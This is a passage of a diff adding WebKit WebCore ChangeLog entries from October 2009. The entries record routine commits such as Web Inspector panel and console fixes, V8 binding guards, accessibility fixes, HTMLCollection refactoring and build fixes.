+        * page/DOMTimer.cpp: Added instrumentation points.
+        (WebCore::DOMTimer::install):
+        (WebCore::DOMTimer::removeById):
+        (WebCore::DOMTimer::fired):
+
+2009-10-26  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/6988966> Hardware layers do not show up in page snapshots
+
+        Add a method that gets called when snapshotting Canvas3DLayers for page snapshots,
+        that allows the layer to return a CGImageRef of its contents.
+        
+        * platform/graphics/mac/Canvas3DLayer.h:
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        (-[Canvas3DLayer copyImageSnapshotWithColorSpace:]):
+
+2009-10-26  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Pass "console" as object group when evaluating selection.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30738
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame):
+
+2009-10-26  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fix for Console not showing repeat count when repeatedly logging an Event
+        https://bugs.webkit.org/show_bug.cgi?id=30324
+
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::updateRepeatCountInConsole): Added.
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addConsoleMessage): Calls updateRepeatCountInConsole if it is a repeating message.
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage): Renamed WebCore::InspectorFrontend::addMessageToConsole
+        (WebCore::InspectorFrontend::updateConsoleMessageRepeatCount): Added. Called when repeatCount is incremented.
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.addMessage): Removed calls to msg.isEqual.
+        (WebInspector.ConsoleView.prototype.updateMessageRepeatCount): Added.
+        (WebInspector.ConsoleView.prototype._incrementErrorWarningCount): Added. Updates the error/warning count.
+        (WebInspector.ConsoleView.prototype.clearMessages):
+        (WebInspector.ConsoleMessage):
+        (WebInspector.ConsoleMessage.prototype.toMessageElement): Use ConsoleMessage._updateRepeatCount
+        (WebInspector.ConsoleMessage.prototype._updateRepeatCount):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addConsoleMessage): Renamed WebInspector.addMessageToConsole.
+        (WebInspector.updateConsoleMessageRepeatCount): Added.
+
+2009-10-26  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        crash with AX on when an image map contains an anchor tag
+        https://bugs.webkit.org/show_bug.cgi?id=30739
+
+        Tests: accessibility/crashing-a-tag-in-map.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::addChildren):
+
+2009-10-26  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds feature ENABLE guards to V8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=30697
+
+        This adds guards for the following features to the V8 bindings,
+        to allow builds with V8 to succeed when these features are not enabled.
+        - DATABASE
+        - WORKERS
+        - SHARED_WORKERS
+        - SVG
+        - XPATH
+        - XSLT
+        - INSPECTOR
+
+        This is a build fix only, no new tests required.
+
+        * bindings/v8/DOMObjectsInclude.h: Modified.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Modified.
+        * bindings/v8/V8Index.cpp: Modified.
+        * bindings/v8/V8Index.h: Modified.
+
+2009-10-26  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25679
+        [Gtk] Improve accessibility of focusable lists
+
+        Fixes the issues with the Atk states exposed for ListBoxOption
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (setAtkStateSetFromCoreObject):
+
+2009-10-26  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27085
+        [Gtk] Incorrect rendering of list
+
+        Adds a way for platforms to indicate that a particular object
+        should not be ignored.
+
+        * accessibility/AccessibilityObject.h:
+        * accessibility/chromium/AccessibilityObjectChromium.cpp:
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        * accessibility/qt/AccessibilityObjectQt.cpp:
+        * accessibility/win/AccessibilityObjectWin.cpp:
+        * accessibility/wx/AccessibilityObjectWx.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::accessibilityIsIgnored):
+
+2009-10-26  Kinuko Yasuda  <kinuko@google.com>
+
+        Reviewed by Jan Alonzo.
+
+        Bug 30619: [Linux] Menu key doesn't work
+        https://bugs.webkit.org/show_bug.cgi?id=30619
+
+        Test: manual-tests/keyboard-menukey-event.html
+        No new layout tests: testing this will require changes in the test
+        controller in a platform-specific way.
+
+        * platform/chromium/KeyCodeConversionGtk.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent): changed switch-case code for
+        GDK_Menu to return VKEY_APPS instead of VKEY_MENU.
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent): changed switch-case code for
+        GDK_Menu to return V_APPS instead of VK_MENU.
+
+2009-10-25  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Reuse already fetched proxy.
+        https://bugs.webkit.org/show_bug.cgi?id=30747
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+
+2009-10-25  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed build fix.
+
+        Build fix for WIN_OS if Netscape plugin support is turned off
+        https://bugs.webkit.org/show_bug.cgi?id=30753
+
+        * plugins/PluginDatabase.cpp:
+
+2009-10-25  Hironori Bono  <hbono@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        A quick fix for Bug 29103.
+        Since String::startsWith() cannot fold non-ASCII characters, this change folds the prefix string
+        and the option string before calling String::startsWith().
+        https://bugs.webkit.org/show_bug.cgi?id=29103
+
+        Tests: fast/forms/listbox-typeahead-cyrillic.html
+               fast/forms/listbox-typeahead-greek.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::typeAheadFind):
+
+2009-10-25  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Expanding a node in the Console should not show the element in Elements panel
+        https://bugs.webkit.org/show_bug.cgi?id=30749
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.onmousedown): Check if inside disclosure triangle.
+
+2009-10-25  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=30751
+        HTMLOptionsCollection should not inherit from HTMLCollection
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        Added JSHTMLCollectionFunctions.h
+
+        * bindings/js/JSHTMLAllCollectionCustom.cpp:
+        (WebCore::callHTMLAllCollection):
+        (WebCore::JSHTMLAllCollection::nameGetter):
+        (WebCore::JSHTMLAllCollection::item):
+        (WebCore::JSHTMLAllCollection::namedItem):
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::callHTMLCollection):
+        (WebCore::JSHTMLCollection::nameGetter):
+        (WebCore::JSHTMLCollection::item):
+        (WebCore::JSHTMLCollection::namedItem):
+        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
+        (WebCore::callHTMLCollection):
+        (WebCore::JSHTMLOptionsCollection::getCallData):
+        (WebCore::JSHTMLOptionsCollection::canGetItemsForName):
+        (WebCore::JSHTMLOptionsCollection::nameGetter):
+        (WebCore::JSHTMLOptionsCollection::indexSetter):
+        (WebCore::JSHTMLOptionsCollection::item):
+        (WebCore::JSHTMLOptionsCollection::namedItem):
+        Refactor to use generic implementation of HTMLCollection bindings functions
+        from JSHTMLCollectionFunctions.h
+
+        * bindings/js/JSHTMLCollectionFunctions.h: Added.
+        (WebCore::getCollectionNamedItems):
+        (WebCore::getCollectionItems):
+        (WebCore::callHTMLCollectionGeneric):
+        Added generic functions that JSHTMLCollection, JSHTMLAllCollection and
+        JSHTMLOptionsCollection can all use.
+
+        * bindings/js/JSHTMLDocumentCustom.cpp: Add include of JSHTMLAllCollection.h
+        for toJS on document.all.
+
+        * bindings/objc/DOMHTML.mm:
+        * bindings/objc/DOMUtility.mm:
+        (JSC::createDOMWrapper):
+        Remove special cases for HTMLOptionsCollection.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * html/HTMLAllCollection.idl:
+        * html/HTMLCollection.idl:
+        * html/HTMLOptionsCollection.idl:
+
+2009-10-24  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Fixed issue with IME inside console
+        https://bugs.webkit.org/show_bug.cgi?id=30660
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._promptKeyDown):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView.prototype._promptKeyDown):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.searchKeyDown): Moved performSearch here from WebInspector.searchKeyUp.
+        (WebInspector.startEditing.element.handleKeyEvent):
+        (WebInspector.startEditing):
+        * inspector/front-end/utilities.js:
+        (isEnterKey): Added. Check if in IME.
+
+2009-10-24  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30752>.
+        Web Inspector: Multiple Selection on Scope Bars by default Conflicts with other behavior on OSX.
+        
+        Have the scope bars select one scope by default, but if the multiple selection key
+        is pressed, allow for multiple selection.
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView):
+        (WebInspector.ConsoleView.prototype._updateFilter):
+        (WebInspector.ConsoleView.prototype.filter):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.filter):
+        (WebInspector.ResourcesPanel.prototype._updateFilter):
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Make the scope bars in the Web Inspector match other scope bars in Mac OS X.
+        Also cleans up the CSS to use classes instead of ID selectors.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28186
+
+        Reviewed by Dan Bernstein.
+
+        * inspector/front-end/ResourcesPanel.js: Add the scope-bar class.
+        * inspector/front-end/inspector.css: Lots of changes to make it look right.
+        * inspector/front-end/inspector.html: Add the scope-bar class.
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Fix selecting Resources in the Web Inspector's Resources panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30743
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.isCategoryVisible): Added.
+        (WebInspector.ResourceSidebarTreeElement.prototype.get selectable): Call
+        isCategoryVisible on the ResourcesPanel.
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Fix the Scope Bar in the Web Inspector's Resource panel, so that selecting
+        All will deselect the other filters.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30744
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.createFilterElement): Better syntax.
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.filter): Use a normal for loop,
+        and the child variable instead of target in the loop. Other clean up.
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Make resizing the Web Inspector's Elements panel sidebar work again.
+        Also makes Resources panel use the sidebar code in Panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30742
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel): Don't create the sidebar with an argument.
+        (WebInspector.Panel.prototype.show): Call updateSidebarWidth.
+        (WebInspector.Panel.prototype.handleKeyEvent): Call handleSidebarKeyEvent.
+        (WebInspector.Panel.prototype.handleSidebarKeyEvent): Added.
+        (WebInspector.Panel.prototype.createSidebar): Renamed from _createSidebar.
+        (WebInspector.Panel.prototype._sidebarDragging): Call updateSidebarWidth.
+        (WebInspector.Panel.prototype.updateSidebarWidth): Renamed from _updateSidebarWidth.
+        (WebInspector.Panel.prototype.setSidebarWidth): Added. Called by updateSidebarWidth.
+        (WebInspector.Panel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel): Call createSidebar.
+        (WebInspector.ProfilesPanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.show): Remove call to _updateSidebarWidth.
+        (WebInspector.ResourcesPanel.prototype.showResource): Call updateSidebarWidth
+        (WebInspector.ResourcesPanel.prototype.closeVisibleResource): Ditto.
+        (WebInspector.ResourcesPanel.prototype.setSidebarWidth): Added.
+        (WebInspector.ResourcesPanel.prototype.updateMainViewWidth): Added.
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel): Call createSidebar.
+        (WebInspector.StoragePanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel): Call createSidebar.
+        (WebInspector.TimelinePanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Call updateSelection() in a few places so hovering in the Web Inspector's
+        Elements panel always has the correct row selection height.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30735
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.toggleNewAttributeButton): Call updateSelection().
+        (WebInspector.ElementsTreeElement.prototype._insertInLastAttributePosition): Ditto.
+        * inspector/front-end/inspector.css: Prevent text wrapping in the middle of the add attribute text.
+
+2009-10-24  Timothy Hatcher  <timothy@apple.com>
+
+        Remove the re-root tree feature from the Web Inspector's
+        Elements panel. This feature wasn't super useful and gets
+        in the way of double-click to edit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30736
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.ondblclick):
+
+2009-10-24  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Implements ReturnsNew hint for V8 bindings generation code.
+        https://bugs.webkit.org/show_bug.cgi?id=30745
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+
+2009-10-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Missing images at 350.org due to wrong URLs
+        https://bugs.webkit.org/show_bug.cgi?id=30748
+
+        Test: fast/dom/HTMLImageElement/parse-src.html
+
+        * dom/Element.cpp:
+        (WebCore::Element::getURLAttribute): Pass the attribute value through deprecateParseURL().
+        This matches what the Objective-C bindings do, as well as what HTMLImageLoader::sourceURI()
+        and SVGImageLoader::sourceURI() do.
+
+2009-10-24  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r50013.
+
+        * WebCore.pro:
+
+2009-10-24  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Fix up to accommodate for HTMLAllCollection changes in
+        http://trac.webkit.org/changeset/49998.
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+
+2009-10-23  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        <rdar://problem/7294131> Assertion failure in AuthenticationMac at
+        mac(const Credential&) after authenticating to MobileMe Gallery movie
+
+        * platform/network/Credential.cpp:
+        (WebCore::Credential::Credential): Initialize m_persistence.
+        (WebCore::Credential::isEmpty): Made this method const.
+        * platform/network/Credential.h:
+        * platform/network/mac/AuthenticationMac.mm:
+        (WebCore::mac): Return nil if the Credential is empty.
+
+2009-10-23  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30617>.
+        Web Inspector: Resources Scope Bar Should Allow Combinations.
+        
+        Refactor the filtering in ResourcePanel to make it match ConsoleView,
+        and add a divider between All, and the other choices of Resource types.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.filter):
+        (WebInspector.ResourcesPanel.prototype._updateFilter):
+        * inspector/front-end/inspector.css:
+
+2009-10-23  Chris Evans  <cevans@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Ignore the Refresh header if we're in view source mode.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27239
+
+        Test: http/tests/security/view-source-no-refresh.html
+
+        * loader/FrameLoader.cpp: ignore Refresh in view-source mode.
+
+2009-10-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30734
+        Remove XMLTokenizer::m_currentNodeIsReferenced
+
+        No change in behavior, no tests.
+
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::setCurrentNode):
+        * dom/XMLTokenizer.h:
+        Don't store a boolean for the current node being the document - we can always check for that.
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        A fragment passed to XMLTokenizer is never null - in fact, the first thing we do is dereference
+        it unconditionally, and then begin checking it for null, as if it could help.
+
+2009-10-23  Beth Dakin  <bdakin@apple.com>
+
+        No review since this is a build fix.
+
+        Build fix for the Mac. (Build is only broken when SVG filters are 
+        enabled.)
+
+        Labelled these function static.
+        * platform/graphics/filters/FEComponentTransfer.cpp:
+        (WebCore::identity):
+        (WebCore::table):
+        (WebCore::discrete):
+        (WebCore::linear):
+        (WebCore::gamma):
+        * platform/graphics/filters/FEGaussianBlur.cpp:
+        (WebCore::boxBlur):
+
+2009-10-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement a Timeline panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30725
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/Images/timelineIcon.png: Added.
+        * inspector/front-end/TimelineAgent.js:
+        (WebInspector.addItemToTimeline):
+        (WebInspector.timelineProfilerWasStarted):
+        (WebInspector.timelineProfilerWasStopped):
+        * inspector/front-end/TimelinePanel.js: Added.
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.toolbarItemClass.get toolbarItemLabel):
+        (WebInspector.TimelinePanel.prototype.get statusBarItems):
+        (WebInspector.TimelinePanel.prototype.handleKeyEvent):
+        (WebInspector.TimelinePanel.prototype.timelineWasStarted):
+        (WebInspector.TimelinePanel.prototype.timelineWasStopped):
+        (WebInspector.TimelinePanel.prototype.addItemToTimeline):
+        (WebInspector.TimelinePanel.prototype._innerAddItemToTimeline):
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButton):
+        (WebInspector.TimelinePanel.prototype.setMainViewWidth):
+        (WebInspector.TimelinePanel.prototype.getItemTypeName):
+        (WebInspector.TimelineRecordTreeElement):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+
+2009-10-23  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Clash Between Search's onkeyup and incremental search events
+        https://bugs.webkit.org/show_bug.cgi?id=30731
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.performSearch): prevent incremental search event from clobbering a forced search
+
+2009-10-23  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Removes the need for C++ Timeline types in InspectorTimelineAgent in favor
+        of ScriptObjects.
+        https://bugs.webkit.org/show_bug.cgi?id=30707
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * inspector/DOMDispatchTimelineItem.cpp: Removed.
+        * inspector/DOMDispatchTimelineItem.h: Removed.
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::willLayout):
+        (WebCore::InspectorTimelineAgent::didLayout):
+        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::didPaint):
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        (WebCore::InspectorTimelineAgent::didWriteHTML):
+        (WebCore::InspectorTimelineAgent::reset):
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        (WebCore::InspectorTimelineAgent::pushCurrentTimelineItem):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::InspectorTimelineAgent::TimelineItemEntry::TimelineItemEntry):
+        * inspector/TimelineItem.cpp: Removed.
+        * inspector/TimelineItem.h: Removed.
+        * inspector/TimelineItemFactory.cpp: Added.
+        (WebCore::TimelineItemFactory::createGenericTimelineItem):
+        (WebCore::TimelineItemFactory::createDOMDispatchTimelineItem):
+        * inspector/TimelineItemFactory.h: Added.
+        (WebCore::):
+        (WebCore::TimelineItemFactory::TimelineItemFactory):
+
+2009-10-23  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30729
+        Provide private API to request the global context for a specific world.
+        Used to initialize parameters on the global object.
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::globalObject):
+        * bindings/js/ScriptController.h:
+
+2009-10-23  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Fixes style problems in Android-specific files.
+        https://bugs.webkit.org/show_bug.cgi?id=30717
+
+        Style changes only, no new tests possible.
+
+        * page/android/EventHandlerAndroid.cpp: Modified.
+        (WebCore::EventHandler::passMouseDownEventToWidget): Fixes whitespace in method signature.
+        (WebCore::EventHandler::passSubframeEventToSubframe): Fixes whitespace in method signature.
+        (WebCore::EventHandler::passWheelEventToWidget): Fixes whitespace in method signature.
+        (WebCore::EventHandler::passMouseMoveEventToSubframe): Fixes whitespace in method signature.
+        * platform/android/ClipboardAndroid.h: Modified. Fixes header include order and indenting.
+        * platform/android/CursorAndroid.cpp: Modified. 
+        (WebCore::grabCursor): Fixes function braces.
+        (WebCore::grabbingCursor): Fixes function braces.
+        * platform/android/FileChooserAndroid.cpp: Modified.
+        (WebCore::FileChooser::basenameForWidth): Fixes braces on while statement, and updates String::copy to String::threadsafeCopy.
+        * platform/android/FileSystemAndroid.cpp: Modified. Fixes header include order.
+        (WebCore::unloadModule): Fixes zero test.
+        (WebCore::writeToFile): Fixes if statement structure.
+        * platform/android/KeyEventAndroid.cpp: Modified.
+        (WebCore::windowsKeyCodeForKeyEvent): Fixes switch statement indenting.
+        (WebCore::keyIdentifierForAndroidKeyCode): Fixes switch statement indenting.
+        * platform/android/ScreenAndroid.cpp: Modified. Fixes header include order and switch statement indenting.
+        * platform/android/TemporaryLinkStubs.cpp: Modified. Fixes header include order.
+
+2009-10-23  Sam Weinig  <sam@webkit.org>
+
+        Another shot at a fixed build.
+
+        * DerivedSources.cpp:
+
+2009-10-23  Sam Weinig  <sam@webkit.org>
+
+        Another shot at a fixed build.
+
+        * html/HTMLOptionsCollection.idl:
+
+2009-10-23  Brady Eidson  <beidson@apple.com>
+
+        50,000!
+
+        * ChangeLog: Point out revision 50,000.
+
+2009-10-23  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=30695
+        Drop .tags() support from HTMLCollection
+
+        - Make .tags() only work for HTMLAllCollections in JS. .tags() is still
+          available for all HTMLCollection like objects in Objective-C since that
+          is API.
+        - Auto-generate HTMLAllCollection.
+
+        Test: fast/dom/HTMLDocument/document-all.html
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSHTMLAllCollection.cpp: Removed.
+        * bindings/js/JSHTMLAllCollection.h: Removed.
+        * bindings/js/JSHTMLAllCollectionCustom.cpp: Added.
+        (WebCore::getNamedItems):
+        (WebCore::callHTMLAllCollection):
+        (WebCore::JSHTMLAllCollection::getCallData):
+        (WebCore::JSHTMLAllCollection::canGetItemsForName):
+        (WebCore::JSHTMLAllCollection::nameGetter):
+        (WebCore::JSHTMLAllCollection::item):
+        (WebCore::JSHTMLAllCollection::namedItem):
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSHTMLDocumentCustom.cpp:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/Document.cpp:
+        (WebCore::Document::all):
+        * dom/Document.h:
+        * dom/HTMLAllCollection.idl: Removed.
+        * html/HTMLAllCollection.cpp: Added.
+        (WebCore::HTMLAllCollection::create):
+        (WebCore::HTMLAllCollection::HTMLAllCollection):
+        (WebCore::HTMLAllCollection::~HTMLAllCollection):
+        * html/HTMLAllCollection.h: Added.
+        * html/HTMLAllCollection.idl: Added.
+        * html/HTMLCollection.h:
+        * html/HTMLCollection.idl:
+        * html/HTMLDocument.idl:
+        * page/DOMWindow.idl:
+
+2009-10-23  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: pull basic sidebar implementation into the Panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30720
+
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel):
+        (WebInspector.Panel.prototype.jumpToPreviousSearchResult):
+        (WebInspector.Panel.prototype.handleKeyEvent):
+        (WebInspector.Panel.prototype._createSidebar):
+        (WebInspector.Panel.prototype._startSidebarDragging):
+        (WebInspector.Panel.prototype._sidebarDragging):
+        (WebInspector.Panel.prototype._endSidebarDragging):
+        (WebInspector.Panel.prototype._updateSidebarWidth):
+        (WebInspector.Panel.prototype.setCenterViewWidth):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.setCenterViewWidth):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel):
+        (WebInspector.StoragePanel.prototype.setCenterViewWidth):
+
+2009-10-23  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Slight optimizations to object returning and exception handling in generated V8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=30599
+
+        * bindings/scripts/CodeGeneratorV8.pm: Generate better code
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertToV8Object): Added overload that takes a Ref<>
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Remove unnecessary template param to prevent compile error
+
+2009-10-23  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Volume slider always starts at half volume
+        https://bugs.webkit.org/show_bug.cgi?id=28322
+
+        Sets the value attribute of volume slider to the volume attribute
+        of the media element. Also update the value attribute of the
+        input element for the volume slider when the volume attribute
+        of the media element is updated.
+
+        Test: media/video-volume-slider.html
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlVolumeSliderElement::update):
+        Set the value attribute of the input element for the volume slider
+        using the current volume of the media element.
+        * rendering/MediaControlElements.h:
+        Add method definition of update().
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::createVolumeSlider):
+        Creates a volume slider with value attribute equals to the current
+        volume attribute of the media element.
+
+2009-10-23  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Chrome Linux: fix caret positioning in LTR complex languages
+        The caret is positioned off by one in languages like Thai.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28284
+
+        A group of us spent a while trying various approaches to write a test
+        for this; however, since it is only that the blinking cursor is
+        displayed incorrectly, we concluded it can not be tested.
+
+        (Patch by Hironori Bono.)
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::Font::selectionRectForComplexText):
+
+2009-10-23  Tony Chang  <tony@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix Chromium build after IsoldatedWorld change (r49963).
+        https://bugs.webkit.org/show_bug.cgi?id=30719
+
+        * bindings/ScriptControllerBase.cpp:
